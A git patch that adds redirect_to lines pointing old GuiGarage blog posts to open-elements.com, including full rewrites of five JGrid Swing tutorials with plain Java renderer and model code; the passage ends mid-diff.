From 44dbea0fdd157b4502d04eccb372e76bde784cc2 Mon Sep 17 00:00:00 2001 From: Hendrik Ebbers Date: Sun, 1 Oct 2023 15:18:49 +0200 Subject: [PATCH] redirect to open elements --- _posts/2011-07-28-fun-with-gestures.md | 1 + ...04-preview-multitouch-gestures-in-swing.md | 1 + _posts/2011-08-16-talk-at-cebit-tv-studio.md | 1 + _posts/2011-08-17-jrating-preview.md | 1 + ...2011-09-01-gesture-wrapper-0-1-released.md | 1 + _posts/2011-09-12-garagetunes-demo.md | 1 + _posts/2011-09-14-jgrid-tutorial-1.md | 85 +-- _posts/2011-09-15-jgrid-talk.md | 1 + _posts/2011-09-16-jgrid-tutorial-2.md | 67 +- _posts/2011-09-17-jgrid-tutorial-3.md | 119 ++-- _posts/2011-09-18-jgrid-tutorial-4.md | 75 +-- _posts/2011-09-25-jgrid-tutorial-5.md | 159 ++--- _posts/2011-10-04-release-update.md | 1 + _posts/2011-10-12-guigarage-javaone.md | 1 + ...building-javafx-applications-with-maven.md | 1 + ...8-adding-javafx-to-your-eclipse-project.md | 1 + .../2012-11-01-introducing-vagrant-binding.md | 1 + _posts/2012-11-03-vagrant-binding-demos.md | 1 + _posts/2012-11-21-gridfx-pagination.md | 87 +-- _posts/2012-11-25-maven-support-for-datafx.md | 1 + _posts/2012-12-03-gridfx-supports-css.md | 43 +- ...ccess-puppet-forge-repository-with-java.md | 1 + ...2-12-12-some-news-about-vagrant-binding.md | 1 + ...first-steps-with-javafx-on-raspberry-pi.md | 47 +- ...2-12-29-gridfx-on-raspberry-pi-javafx-8.md | 73 +-- _posts/2012-12-31-bindabletransition.md | 1 + _posts/2013-01-01-invokeandwait-for-javafx.md | 1 + ...10-custom-ui-controls-with-javafx-part3.md | 1 + .../2013-01-16-this-is-for-the-native-ones.md | 1 + ...013-02-08-change-java-version-on-mac-os.md | 1 + ...02-09-datafx-observableexecutor-preview.md | 1 + _posts/2013-03-17-introducing-marvinfx.md | 1 + ...-04-28-the-native-ones-are-not-sleeping.md | 1 + ...missing-link-between-fxml-and-your-code.md | 1 + _posts/2013-05-09-aquatecture.md | 1 + ...ing-javafx-business-applications-part-1.md | 1 + ...ing-javafx-business-applications-part-2.md | 1 + ...013-05-26-aquafx-lessons-learned-part-i.md | 1 + _posts/2013-08-29-boxfx-javaone-preview-1.md | 1 + ...-30-pimp-your-app-by-using-the-blurpane.md | 1 + _posts/2013-09-13-datafx-controller-api.md | 1 + ...world-data-into-your-javafx-application.md | 1 + .../2013-10-07-aquafx-dressed-in-elements.md | 1 + ...0-11-simplify-your-app-by-using-bonjour.md | 1 + ...-27-datafx-controller-framework-preview.md | 1 + ...4-01-23-datafx-8-preview-2-processchain.md | 1 + _posts/2014-01-24-javafx-meets-javaee.md | 1 + .../2014-03-05-mastering-javafx-controls.md | 1 + _posts/2014-03-27-datafx-8-nighthacking.md | 1 + .../2014-03-28-reactive-programming-javafx.md | 1 + _posts/2014-03-29-javafx-css-utilities.md | 1 + _posts/2014-04-17-datafx-8-preview-2.md | 1 + .../2014-05-15-javafx-8-interview-jax-2014.md | 1 + _posts/2014-05-16-datafx-8-0b3-released.md | 1 + _posts/2014-05-19-datafx-8-0-tutorials.md | 1 + _posts/2014-05-20-datafx-tutorial-1.md | 1 + _posts/2014-05-22-datafx-tutorial-2.md | 1 + _posts/2014-05-31-datafx-tutorial-3.md | 1 + _posts/2014-06-08-datafx-tutorial-4.md | 1 + _posts/2014-06-10-sneak-peek-aerofx.md | 1 + _posts/2014-06-17-aerofx-getting-closer.md | 1 + _posts/2014-06-27-datafx-tutorial-5.md | 1 + ...08-win-copy-mastering-javafx-8-controls.md | 1 + _posts/2014-07-16-guigarage-logo.md | 1 + _posts/2014-08-26-javaone-2014-sessions.md | 1 + _posts/2014-09-09-javaone-2014-preview.md | 1 + ...09-11-javaone-preview-enterprise-javafx.md | 1 + _posts/2014-09-17-interview-fx-experience.md | 1 + _posts/2014-10-13-javaone-sessions-canoo.md | 1 + _posts/2014-10-22-datafx-8-released.md | 1 + ...2014-10-26-extreme-gui-makeover-javaone.md | 3 +- ...ew-desktop-application-framework-datafx.md | 367 +++++------ _posts/2014-11-04-responsive-design-javafx.md | 1 + .../2014-11-12-first-steps-webcomponents.md | 1 + .../2014-11-13-hand-drawing-effect-javafx.md | 1 + ...15-01-19-concurrency-ui-toolkits-part-1.md | 1 + _posts/2015-01-21-support-emojis.md | 1 + _posts/2015-01-22-datafx-tutorial-6.md | 1 + _posts/2015-01-28-set-datafx-application.md | 1 + .../2015-01-29-introduction-open-dolphin.md | 1 + ...15-02-01-concurrency-ui-toolkits-part-2.md | 1 + ...5-02-06-test-driven-development-youtube.md | 1 + ...5-02-11-jsr377-got-green-light-continue.md | 1 + _posts/2015-02-12-short-introduction-bower.md | 1 + ...2-13-quick-overview-datafx-mvc-flow-api.md | 1 + _posts/2015-02-15-use-webcomponents-today.md | 1 + .../2015-07-10-material-design-in-javafx.md | 1 + ...-javafx-uis-in-less-time-use-projection.md | 1 + ...to-create-a-responsive-layout-in-javafx.md | 401 ++++++------ ...ractive-application-with-polymer-part-1.md | 1 + ...16-layered-images-and-icons-with-javafx.md | 1 + ...8-more-fun-with-layered-icons-in-javafx.md | 1 + ...015-10-04-dolphin-platform-a-sneak-peek.md | 1 + ...form-a-sneak-peek-of-the-controller-api.md | 1 + ...-platform-a-sneak-peek-of-the-model-api.md | 1 + ...n-platform-a-sneak-peek-of-the-view-api.md | 1 + ...n-platform-how-to-create-an-application.md | 1 + ...1-09-dolphin-platform-has-been-released.md | 1 + ...hin-platform-in-15-minutes-nighthacking.md | 1 + ...avaone-after-event-with-some-cool-talks.md | 1 + .../2015-12-02-dolphin-platform-jumpstart.md | 1 + .../2016-01-13-the-javaone-voting-machine.md | 1 + ...-javafx-web-components-and-open-dolphin.md | 1 + ...016-02-02-how-to-choose-the-right-color.md | 1 + ...-dolphin-platform-0-8-has-beed-released.md | 1 + _posts/2016-02-04-guigarage-2-0.md | 1 + _posts/2016-02-04-round-images-with-css.md | 1 + _posts/2016-02-07-javafx-and-css.md | 1 + ...016-02-09-javafx-and-css-pseudo-classes.md | 1 + _posts/2016-09-20-javafx-jumpstart-javaone.md | 1 + ...0-28-my-thoughts-about-java-build-tools.md | 1 + ...-03-31-future-java-releases-for-desktop.md | 1 + _posts/2018-06-25-java-releases.md | 1 + _posts/2018-09-16-java-11-licence.md | 1 + _posts/2018-09-16-jc-java-article.md | 1 + _posts/2018-09-25-java11-release-event.md | 39 +- _posts/2018-11-23-amazon-corretto.md | 145 ++--- _posts/2019-01-09-integration-docker.md | 1 + _posts/2019-01-15-rico-server-timing.md | 215 +++---- _posts/2019-01-25-security-exploits.md | 599 +++++++++--------- _posts/2019-12-10-webstart-advent.md | 139 ++-- _posts/2020-02-15-back-to-the-future.md | 293 ++++----- _posts/2020-02-21-adopt-tests.md | 165 ++--- _posts/2020-03-12-cyberland.md | 1 + _posts/2020-03-13-cyberland_en.md | 91 +-- _posts/2020-07-14-adopt-roadshow.md | 102 +-- 126 files changed, 1772 insertions(+), 1647 deletions(-) diff --git a/_posts/2011-07-28-fun-with-gestures.md b/_posts/2011-07-28-fun-with-gestures.md index dec60e2..aa3c05e 100644 --- a/_posts/2011-07-28-fun-with-gestures.md +++ b/_posts/2011-07-28-fun-with-gestures.md @@ -1,5 +1,6 @@ --- title: 'Fun with gestures' +redirect_to: https://open-elements.com/posts/2011/07/28/fun-with-gestures/ layout: post author: hendrik categories: [General] diff --git a/_posts/2011-08-04-preview-multitouch-gestures-in-swing.md b/_posts/2011-08-04-preview-multitouch-gestures-in-swing.md index 07d85ff..35204cd 100644 --- a/_posts/2011-08-04-preview-multitouch-gestures-in-swing.md +++ b/_posts/2011-08-04-preview-multitouch-gestures-in-swing.md @@ -1,5 +1,6 @@ --- title: 'Preview: Multitouch gestures in swing' +redirect_to: https://open-elements.com/posts/2011/08/04/preview-multitouch-gestures-in-swing/ layout: post author: hendrik categories: [General] diff --git a/_posts/2011-08-16-talk-at-cebit-tv-studio.md b/_posts/2011-08-16-talk-at-cebit-tv-studio.md index e932c09..85364a4 100644 --- a/_posts/2011-08-16-talk-at-cebit-tv-studio.md +++ b/_posts/2011-08-16-talk-at-cebit-tv-studio.md @@ -1,5 +1,6 @@ --- title: 'Talk at CeBIT TV studio' +redirect_to: https://open-elements.com/posts/2011/08/16/talk-at-cebit-tv-studio/ layout: post author: hendrik categories: [General] diff --git a/_posts/2011-08-17-jrating-preview.md b/_posts/2011-08-17-jrating-preview.md index d7e2577..45b6b89 100644 --- a/_posts/2011-08-17-jrating-preview.md +++ b/_posts/2011-08-17-jrating-preview.md @@ -1,5 +1,6 @@ --- title: 'JRating Preview' +redirect_to: https://open-elements.com/posts/2011/08/17/jrating-preview/ layout: post author: hendrik categories: [General] diff --git a/_posts/2011-09-01-gesture-wrapper-0-1-released.md b/_posts/2011-09-01-gesture-wrapper-0-1-released.md index 30ef747..5fecbc5 100644 --- a/_posts/2011-09-01-gesture-wrapper-0-1-released.md +++ b/_posts/2011-09-01-gesture-wrapper-0-1-released.md @@ -1,5 +1,6 @@ --- title: 'Gesture Wrapper 0.1 released' +redirect_to: https://open-elements.com/posts/2011/09/01/gesture-wrapper-0.1-released/ layout: post author: hendrik categories: [General] diff --git a/_posts/2011-09-12-garagetunes-demo.md b/_posts/2011-09-12-garagetunes-demo.md index 8dbca49..9a0ad02 100644 --- a/_posts/2011-09-12-garagetunes-demo.md +++ b/_posts/2011-09-12-garagetunes-demo.md @@ -1,5 +1,6 @@ --- title: 'GarageTunes demo' +redirect_to: https://open-elements.com/posts/2011/09/12/garagetunes-demo/ layout: post author: hendrik categories: [Swing] diff --git a/_posts/2011-09-14-jgrid-tutorial-1.md b/_posts/2011-09-14-jgrid-tutorial-1.md index 52e3ba3..f8886a3 100644 --- a/_posts/2011-09-14-jgrid-tutorial-1.md +++ b/_posts/2011-09-14-jgrid-tutorial-1.md @@ -1,42 +1,43 @@ ---- -title: 'JGrid Tutorial #1' -layout: post -author: hendrik -categories: [Swing] -excerpt: 'I created a series of tutorials to get familiar with JGrid. This is the first out of five tutorials.' -featuredImage: java-9 -permalink: '2011/09/jgrid-tutorial-1/' -header: - text: JGrid Tutorial #1 - image: sample ---- -At the moment all JGrid demonstrations are very complex and use a lot of Java2D code, web services an so on. So many people asked me to create some simple demos. For this reason I started some bottom-up tutorials for the JGrid. - -Here is the first one: -You can integrate a JGrid in every swing application. Just add it to a container: - -{% highlight java %} -JGrid grid = new JGrid(); -getContentPane().add(new JScrollPane(grid)); -{% endhighlight %} - -Normally you want to visualize some data in the grid. All data must wrapped in a ListModel: - -{% highlight java %} -DefaultListModel model = new DefaultListModel(); -for(int i=0; i < 100; i++) { - model.addElement(new Integer(i)); -} -{% endhighlight %} - -In a final step you must set the model for the grid: - -{% highlight java %} -grid.setModel(model); -{% endhighlight %} - -With this few lines of code you can add a JGrid to your code. Because the default renderer of the grid uses a label and renders the `toString()`-result of the data to the grid you will see all Integers in a grid: - -![Tutorial1](/assets/posts/guigarage-legacy/Tutorial1.png) - -You can download the [source file for the tutorial](/assets/downloads/jgrid/tutorial1.java). To run the program you need the jgrid.jar in your classpath. +--- +title: 'JGrid Tutorial #1' +redirect_to: https://open-elements.com/posts/2011/09/14/jgrid-tutorial-1/ +layout: post +author: hendrik +categories: [Swing] +excerpt: 'I created a series of tutorials to get familiar with JGrid. This is the first out of five tutorials.' +featuredImage: java-9 +permalink: '2011/09/jgrid-tutorial-1/' +header: + text: JGrid Tutorial #1 + image: sample +--- +At the moment all JGrid demonstrations are very complex and use a lot of Java2D code, web services an so on. So many people asked me to create some simple demos. For this reason I started some bottom-up tutorials for the JGrid. + +Here is the first one: +You can integrate a JGrid in every swing application. Just add it to a container: + +{% highlight java %} +JGrid grid = new JGrid(); +getContentPane().add(new JScrollPane(grid)); +{% endhighlight %} + +Normally you want to visualize some data in the grid. All data must wrapped in a ListModel: + +{% highlight java %} +DefaultListModel model = new DefaultListModel(); +for(int i=0; i < 100; i++) { + model.addElement(new Integer(i)); +} +{% endhighlight %} + +In a final step you must set the model for the grid: + +{% highlight java %} +grid.setModel(model); +{% endhighlight %} + +With this few lines of code you can add a JGrid to your code. Because the default renderer of the grid uses a label and renders the `toString()`-result of the data to the grid you will see all Integers in a grid: + +![Tutorial1](/assets/posts/guigarage-legacy/Tutorial1.png) + +You can download the [source file for the tutorial](/assets/downloads/jgrid/tutorial1.java). To run the program you need the jgrid.jar in your classpath. diff --git a/_posts/2011-09-15-jgrid-talk.md b/_posts/2011-09-15-jgrid-talk.md index 99c9123..343d51a 100644 --- a/_posts/2011-09-15-jgrid-talk.md +++ b/_posts/2011-09-15-jgrid-talk.md @@ -1,5 +1,6 @@ --- title: 'JGrid Talk' +redirect_to: https://open-elements.com/posts/2011/09/15/jgrid-talk/ layout: post author: hendrik categories: [Swing] diff --git a/_posts/2011-09-16-jgrid-tutorial-2.md b/_posts/2011-09-16-jgrid-tutorial-2.md index c657aae..7ac816b 100644 --- a/_posts/2011-09-16-jgrid-tutorial-2.md +++ b/_posts/2011-09-16-jgrid-tutorial-2.md @@ -1,33 +1,34 @@ ---- -title: 'JGrid Tutorial #2' -layout: post -author: hendrik -categories: [Swing] -excerpt: 'I created a series of tutorials to get familiar with JGrid. This is the second out of five tutorials.' -featuredImage: java-1 -permalink: '2011/09/jgrid-tutorial-2/' -header: - text: JGrid Tutorial #2 - image: sample ---- -After we created a simple JGrid (see [tutorial #1]({{ site.baseurl }}{% post_url 2011-09-14-jgrid-tutorial-1 %}) we want to modify the look now. The JGrid has a lot of getter/setter to change the visualization of the grid. Read the JavaDoc for a complete overview of all properties. - -Here is an example of changing colors and dimensions: - -{% highlight Java %} -grid.setFont(grid.getFont().deriveFont(40.0f)); -grid.setFixedCellDimension(56); -grid.setHorizonztalMargin(4); -grid.setVerticalMargin(4); -grid.setHorizontalAlignment(SwingConstants.LEFT); -grid.setBackground(Color.WHITE); -grid.setSelectionBorderColor(Color.BLUE); -grid.setSelectionBackground(Color.CYAN); -grid.setCellBackground(Color.LIGHT_GRAY); -{% endhighlight %} - -After setting all properties the grid looks like this: - -![Tutorial2](/assets/posts/guigarage-legacy/Tutorial2.png) - -You can download the sources for the tutorial [here](/assets/downloads/jgrid/tutorial2.java). +--- +title: 'JGrid Tutorial #2' +redirect_to: https://open-elements.com/posts/2011/09/16/jgrid-tutorial-2/ +layout: post +author: hendrik +categories: [Swing] +excerpt: 'I created a series of tutorials to get familiar with JGrid. This is the second out of five tutorials.' +featuredImage: java-1 +permalink: '2011/09/jgrid-tutorial-2/' +header: + text: JGrid Tutorial #2 + image: sample +--- +After we created a simple JGrid (see [tutorial #1]({{ site.baseurl }}{% post_url 2011-09-14-jgrid-tutorial-1 %}) we want to modify the look now. The JGrid has a lot of getter/setter to change the visualization of the grid. Read the JavaDoc for a complete overview of all properties. + +Here is an example of changing colors and dimensions: + +{% highlight Java %} +grid.setFont(grid.getFont().deriveFont(40.0f)); +grid.setFixedCellDimension(56); +grid.setHorizonztalMargin(4); +grid.setVerticalMargin(4); +grid.setHorizontalAlignment(SwingConstants.LEFT); +grid.setBackground(Color.WHITE); +grid.setSelectionBorderColor(Color.BLUE); +grid.setSelectionBackground(Color.CYAN); +grid.setCellBackground(Color.LIGHT_GRAY); +{% endhighlight %} + +After setting all properties the grid looks like this: + +![Tutorial2](/assets/posts/guigarage-legacy/Tutorial2.png) + +You can download the sources for the tutorial [here](/assets/downloads/jgrid/tutorial2.java). diff --git a/_posts/2011-09-17-jgrid-tutorial-3.md b/_posts/2011-09-17-jgrid-tutorial-3.md index 9c5cf87..abce869 100644 --- a/_posts/2011-09-17-jgrid-tutorial-3.md +++ b/_posts/2011-09-17-jgrid-tutorial-3.md @@ -1,59 +1,60 @@ ---- -title: 'JGrid Tutorial #3' -layout: post -author: hendrik -categories: [Swing] -excerpt: 'I created a series of tutorials to get familiar with JGrid. This is the third out of five tutorials.' -featuredImage: java-1 -permalink: '2011/09/jgrid-tutorial-3/' -header: - text: JGrid Tutorial #3 - image: sample ---- -In this tutorial I will show you how to visualize more complex data with renderers. First we have to create a data model. For this tutorial we will work with the `java.awt.Color` class and create a ListModel with some colors in it: - -{% highlight Java %} -DefaultListModel model = new DefaultListModel(); -Random random = new Random(); -for(int i=0; i <= 100; i++) { -model.addElement(new Color(random.nextInt(256), random.nextInt(256), random.nextInt(256))); -} -grid.setModel(model); -{% endhighlight %} - -After assigning this model to the JGrid the result will look like this: - -![Tutorial3](/assets/posts/guigarage-legacy/Tutorial3-1.png) - -The JGrid uses a default renderer to visualize data. This renderer based on a JLabel and displays the toString() results from the given data. Therefore you see these "java.awt.Color..." strings in the grid cells. - -To visualize the colors inside the grid we need a new renderer. All renderers for the JGrid must implement the interface GridCellRenderer. Here is the code for a simple renderer for colors: - -{% highlight Java %} -public class GridColorCellRenderer extends JPanel implements GridCellRenderer { - - private static final long serialVersionUID = 1L; - - @Override - public Component getGridCellRendererComponent(JGrid grid, Object value, int index, boolean isSelected, boolean cellHasFocus) { - if(value != null && value instanceof Color) { - this.setBackground((Color) value); - } - return this; - } -} -{% endhighlight %} - -Now we have to assign the renderer to the JGrid. Here is a different to the default JList or JTable behavior. The renderer for JGrid are stored in a special handler. You can refer to this handler by `grid.getCellRendererManager()` / `grid.setCellRendererManager()`. By using this handlers you can manage the same renderers for different grids (On a later JGrid release I will add SPI support to the handlers). - -To add the custom renderer to your grid you have to add it to the handler: - -{% highlight Java %} -grid.getCellRendererManager().setDefaultRenderer(new GridColorCellRenderer()); -{% endhighlight %} - -Now our application shows the right colors inside the grid cells: - -![Tutorial3](/assets/posts/guigarage-legacy/Tutorial3-2.png) - -You can download the source file for this tutorial [here](/assets/downloads/jgrid/tutorial3.java). +--- +title: 'JGrid Tutorial #3' +redirect_to: https://open-elements.com/posts/2011/09/17/jgrid-tutorial-3/ +layout: post +author: hendrik +categories: [Swing] +excerpt: 'I created a series of tutorials to get familiar with JGrid. This is the third out of five tutorials.' +featuredImage: java-1 +permalink: '2011/09/jgrid-tutorial-3/' +header: + text: JGrid Tutorial #3 + image: sample +--- +In this tutorial I will show you how to visualize more complex data with renderers. First we have to create a data model. For this tutorial we will work with the `java.awt.Color` class and create a ListModel with some colors in it: + +{% highlight Java %} +DefaultListModel model = new DefaultListModel(); +Random random = new Random(); +for(int i=0; i <= 100; i++) { +model.addElement(new Color(random.nextInt(256), random.nextInt(256), random.nextInt(256))); +} +grid.setModel(model); +{% endhighlight %} + +After assigning this model to the JGrid the result will look like this: + +![Tutorial3](/assets/posts/guigarage-legacy/Tutorial3-1.png) + +The JGrid uses a default renderer to visualize data. This renderer based on a JLabel and displays the toString() results from the given data. Therefore you see these "java.awt.Color..." strings in the grid cells. + +To visualize the colors inside the grid we need a new renderer. All renderers for the JGrid must implement the interface GridCellRenderer. Here is the code for a simple renderer for colors: + +{% highlight Java %} +public class GridColorCellRenderer extends JPanel implements GridCellRenderer { + + private static final long serialVersionUID = 1L; + + @Override + public Component getGridCellRendererComponent(JGrid grid, Object value, int index, boolean isSelected, boolean cellHasFocus) { + if(value != null && value instanceof Color) { + this.setBackground((Color) value); + } + return this; + } +} +{% endhighlight %} + +Now we have to assign the renderer to the JGrid. Here is a different to the default JList or JTable behavior. The renderer for JGrid are stored in a special handler. You can refer to this handler by `grid.getCellRendererManager()` / `grid.setCellRendererManager()`. By using this handlers you can manage the same renderers for different grids (On a later JGrid release I will add SPI support to the handlers). + +To add the custom renderer to your grid you have to add it to the handler: + +{% highlight Java %} +grid.getCellRendererManager().setDefaultRenderer(new GridColorCellRenderer()); +{% endhighlight %} + +Now our application shows the right colors inside the grid cells: + +![Tutorial3](/assets/posts/guigarage-legacy/Tutorial3-2.png) + +You can download the source file for this tutorial [here](/assets/downloads/jgrid/tutorial3.java). diff --git a/_posts/2011-09-18-jgrid-tutorial-4.md b/_posts/2011-09-18-jgrid-tutorial-4.md index 4a2242a..76c2367 100644 --- a/_posts/2011-09-18-jgrid-tutorial-4.md +++ b/_posts/2011-09-18-jgrid-tutorial-4.md @@ -1,37 +1,38 @@ ---- -title: 'JGrid Tutorial #4' -layout: post -author: hendrik -categories: [Swing] -excerpt: 'I created a series of tutorials to get familiar with JGrid. This is the fourth out of five tutorials.' -featuredImage: java-2 -permalink: '2011/09/jgrid-tutorial-4/' -header: - text: JGrid Tutorial #4 - image: sample ---- -In this tutorial we want to add zoom functionality to the JGrid. You can set the dimension of the grid cells be the property `fixedCellDimension`. Here is a example for two different dimensions: - -![tutorial4-1](/assets/posts/guigarage-legacy/tutorial4-1.png) - -![tutorial4-2](/assets/posts/guigarage-legacy/tutorial4-2.png) - -To add a zoom functionality to the grid you can set the dimension by using a JSlider. Here is the code: - -{% highlight Java %} -final JSlider slider = new JSlider(32, 256); -slider.setValue(grid.getFixedCellDimension()); - -slider.addChangeListener(new ChangeListener() { - @Override - public void stateChanged(ChangeEvent arg0) { - grid.setFixedCellDimension(slider.getValue()); - } -}); -{% endhighlight %} - -Now you can edit the dimension dynamically. Here is the result: - -{% include posts/youtube.html id="Zyqf-P2ftFs" %} - -You can download the source file [here](/assets/downloads/jgrid/tutorial4.java). +--- +title: 'JGrid Tutorial #4' +redirect_to: https://open-elements.com/posts/2011/09/18/jgrid-tutorial-4/ +layout: post +author: hendrik +categories: [Swing] +excerpt: 'I created a series of tutorials to get familiar with JGrid. This is the fourth out of five tutorials.' +featuredImage: java-2 +permalink: '2011/09/jgrid-tutorial-4/' +header: + text: JGrid Tutorial #4 + image: sample +--- +In this tutorial we want to add zoom functionality to the JGrid. You can set the dimension of the grid cells be the property `fixedCellDimension`. Here is a example for two different dimensions: + +![tutorial4-1](/assets/posts/guigarage-legacy/tutorial4-1.png) + +![tutorial4-2](/assets/posts/guigarage-legacy/tutorial4-2.png) + +To add a zoom functionality to the grid you can set the dimension by using a JSlider. Here is the code: + +{% highlight Java %} +final JSlider slider = new JSlider(32, 256); +slider.setValue(grid.getFixedCellDimension()); + +slider.addChangeListener(new ChangeListener() { + @Override + public void stateChanged(ChangeEvent arg0) { + grid.setFixedCellDimension(slider.getValue()); + } +}); +{% endhighlight %} + +Now you can edit the dimension dynamically. Here is the result: + +{% include posts/youtube.html id="Zyqf-P2ftFs" %} + +You can download the source file [here](/assets/downloads/jgrid/tutorial4.java). diff --git a/_posts/2011-09-25-jgrid-tutorial-5.md b/_posts/2011-09-25-jgrid-tutorial-5.md index 28c0f1e..caf0f3d 100644 --- a/_posts/2011-09-25-jgrid-tutorial-5.md +++ b/_posts/2011-09-25-jgrid-tutorial-5.md @@ -1,79 +1,80 @@ ---- -title: 'JGrid Tutorial #5' -layout: post -author: hendrik -categories: [Swing] -excerpt: 'I created a series of tutorials to get familiar with JGrid. This is the fifth out of five tutorials.' -featuredImage: java-3 -permalink: '2011/09/jgrid-tutorial-5/' -header: - text: JGrid Tutorial #5 - image: sample ---- -In this tutorial we want to take a deeper look at cell rendering. In the last tutorials we already implemented GridCellRenderer and set them as default renderer to the JGrid. This is exactly the same behavior as renderer in a JList. But if you have different data types in a grid only one renderer won´t fulfill the requirements. For this purpose you can add different GridCellRenderer to the JGrid. Like in a JTable you can add renderers for different data classes to the JGrid. - -Let´s say we have colors and percentages in our model: - -{% highlight Java %} -DefaultListModel model = new DefaultListModel(); -Random random = new Random(); - -for(int i=0; i if(random.nextBoolean()) { - model.addElement(new Color(random.nextInt(256), random.nextInt(256), random.nextInt(256))); -} else { - model.addElement(new Float(random.nextFloat())); -} - -grid.setModel(model); -{% endhighlight %} - -To visualize the color values we can use the renderer from the previous tutorial. For the new percentage values we need a different renderer: - -{% highlight Java %} -public class GridPercentCellRenderer extends JLabel implements GridCellRenderer { - - private static final long serialVersionUID = 1L; - - private float f = 0.0f; - - public GridPercentCellRenderer() { - setHorizontalAlignment(SwingConstants.CENTER); - setBackground(Color.white); - setForeground(Color.black); - } - - @Override - public Component getGridCellRendererComponent(JGrid grid, Object value, int index, boolean isSelected, boolean cellHasFocus) { - if(value != null && value instanceof Float) { - this.f = ((Float) value).floatValue(); - setText(NumberFormat.getPercentInstance().format(f)); - } - return this; - } - - @Override - protected void paintComponent(Graphics g) { - g.setColor(getBackground()); - g.fillRect(0, 0, getWidth(), getHeight()); - g.setColor(Color.LIGHT_GRAY); - int height = (int)((float)getHeight() * f); - g.fillRect(0, getHeight() - height, getWidth(), height); - super.paintComponent(g); - } -} -{% endhighlight %} - -Until now all tutorials used the `setDefaultRenderer(...)` methode to set a special design to the grid. Just now we have a problem using this practice: we need renderers for different data types. In the JGrid this is as simple as in the JTable. - -Here we go: - -{% highlight Java %} -grid.getCellRendererManager().addRendererMapping(Color.class, new GridColorCellRenderer()); -grid.getCellRendererManager().addRendererMapping(Float.class, new GridPercentCellRenderer()); -{% endhighlight %} - -Here you can see the effect: - -![Tutorial-5](/assets/posts/guigarage-legacy/Tutorial-5.png) - -You can download the source file [here](/assets/downloads/jgrid/tutorial5.java). +--- +title: 'JGrid Tutorial #5' +redirect_to: https://open-elements.com/posts/2011/09/25/jgrid-tutorial-5/ +layout: post +author: hendrik +categories: [Swing] +excerpt: 'I created a series of tutorials to get familiar with JGrid. This is the fifth out of five tutorials.' +featuredImage: java-3 +permalink: '2011/09/jgrid-tutorial-5/' +header: + text: JGrid Tutorial #5 + image: sample +--- +In this tutorial we want to take a deeper look at cell rendering. In the last tutorials we already implemented GridCellRenderer and set them as default renderer to the JGrid. This is exactly the same behavior as renderer in a JList. But if you have different data types in a grid only one renderer won´t fulfill the requirements. For this purpose you can add different GridCellRenderer to the JGrid. Like in a JTable you can add renderers for different data classes to the JGrid. + +Let´s say we have colors and percentages in our model: + +{% highlight Java %} +DefaultListModel model = new DefaultListModel(); +Random random = new Random(); + +for(int i=0; i if(random.nextBoolean()) { + model.addElement(new Color(random.nextInt(256), random.nextInt(256), random.nextInt(256))); +} else { + model.addElement(new Float(random.nextFloat())); +} + +grid.setModel(model); +{% endhighlight %} + +To visualize the color values we can use the renderer from the previous tutorial. For the new percentage values we need a different renderer: + +{% highlight Java %} +public class GridPercentCellRenderer extends JLabel implements GridCellRenderer { + + private static final long serialVersionUID = 1L; + + private float f = 0.0f; + + public GridPercentCellRenderer() { + setHorizontalAlignment(SwingConstants.CENTER); + setBackground(Color.white); + setForeground(Color.black); + } + + @Override + public Component getGridCellRendererComponent(JGrid grid, Object value, int index, boolean isSelected, boolean cellHasFocus) { + if(value != null && value instanceof Float) { + this.f = ((Float) value).floatValue(); + setText(NumberFormat.getPercentInstance().format(f)); + } + return this; + } + + @Override + protected void paintComponent(Graphics g) { + g.setColor(getBackground()); + g.fillRect(0, 0, getWidth(), getHeight()); + g.setColor(Color.LIGHT_GRAY); + int height = (int)((float)getHeight() * f); + g.fillRect(0, getHeight() - height, getWidth(), height); + super.paintComponent(g); + } +} +{% endhighlight %} + +Until now all tutorials used the `setDefaultRenderer(...)` methode to set a special design to the grid. Just now we have a problem using this practice: we need renderers for different data types. In the JGrid this is as simple as in the JTable. + +Here we go: + +{% highlight Java %} +grid.getCellRendererManager().addRendererMapping(Color.class, new GridColorCellRenderer()); +grid.getCellRendererManager().addRendererMapping(Float.class, new GridPercentCellRenderer()); +{% endhighlight %} + +Here you can see the effect: + +![Tutorial-5](/assets/posts/guigarage-legacy/Tutorial-5.png) + +You can download the source file [here](/assets/downloads/jgrid/tutorial5.java). diff --git a/_posts/2011-10-04-release-update.md b/_posts/2011-10-04-release-update.md index 3c0e574..007ec62 100644 --- a/_posts/2011-10-04-release-update.md +++ b/_posts/2011-10-04-release-update.md @@ -1,5 +1,6 @@ --- title: 'Release & Update' +redirect_to: https://open-elements.com/posts/2011/10/04/release-update/ layout: post author: hendrik categories: [General] diff --git a/_posts/2011-10-12-guigarage-javaone.md b/_posts/2011-10-12-guigarage-javaone.md index cb1822c..b8bd2b8 100644 --- a/_posts/2011-10-12-guigarage-javaone.md +++ b/_posts/2011-10-12-guigarage-javaone.md @@ -1,5 +1,6 @@ --- title: 'GuiGarage @ JavaOne' +redirect_to: https://open-elements.com/posts/2011/10/12/guigarage-@-javaone/ layout: post author: hendrik categories: [General] diff --git a/_posts/2012-10-13-building-javafx-applications-with-maven.md b/_posts/2012-10-13-building-javafx-applications-with-maven.md index d14cf52..250b3ef 100644 --- a/_posts/2012-10-13-building-javafx-applications-with-maven.md +++ b/_posts/2012-10-13-building-javafx-applications-with-maven.md @@ -1,5 +1,6 @@ --- title: 'Building JavaFX Applications with Maven' +redirect_to: https://open-elements.com/posts/2012/10/13/building-javafx-applications-with-maven/ layout: post author: hendrik categories: [JavaFX] diff --git a/_posts/2012-10-28-adding-javafx-to-your-eclipse-project.md b/_posts/2012-10-28-adding-javafx-to-your-eclipse-project.md index ab6282d..cf63b35 100644 --- a/_posts/2012-10-28-adding-javafx-to-your-eclipse-project.md +++ b/_posts/2012-10-28-adding-javafx-to-your-eclipse-project.md @@ -1,5 +1,6 @@ --- title: 'Adding JavaFX to your Eclipse project' +redirect_to: https://open-elements.com/posts/2012/10/28/adding-javafx-to-your-eclipse-project/ layout: post author: hendrik categories: [JavaFX] diff --git a/_posts/2012-11-01-introducing-vagrant-binding.md b/_posts/2012-11-01-introducing-vagrant-binding.md index 804f348..23c8307 100644 --- a/_posts/2012-11-01-introducing-vagrant-binding.md +++ b/_posts/2012-11-01-introducing-vagrant-binding.md @@ -1,5 +1,6 @@ --- title: 'Introducing Vagrant-Binding' +redirect_to: https://open-elements.com/posts/2012/11/01/introducing-vagrant-binding/ layout: post author: hendrik categories: [General, Vagrant-Binding] diff --git a/_posts/2012-11-03-vagrant-binding-demos.md b/_posts/2012-11-03-vagrant-binding-demos.md index 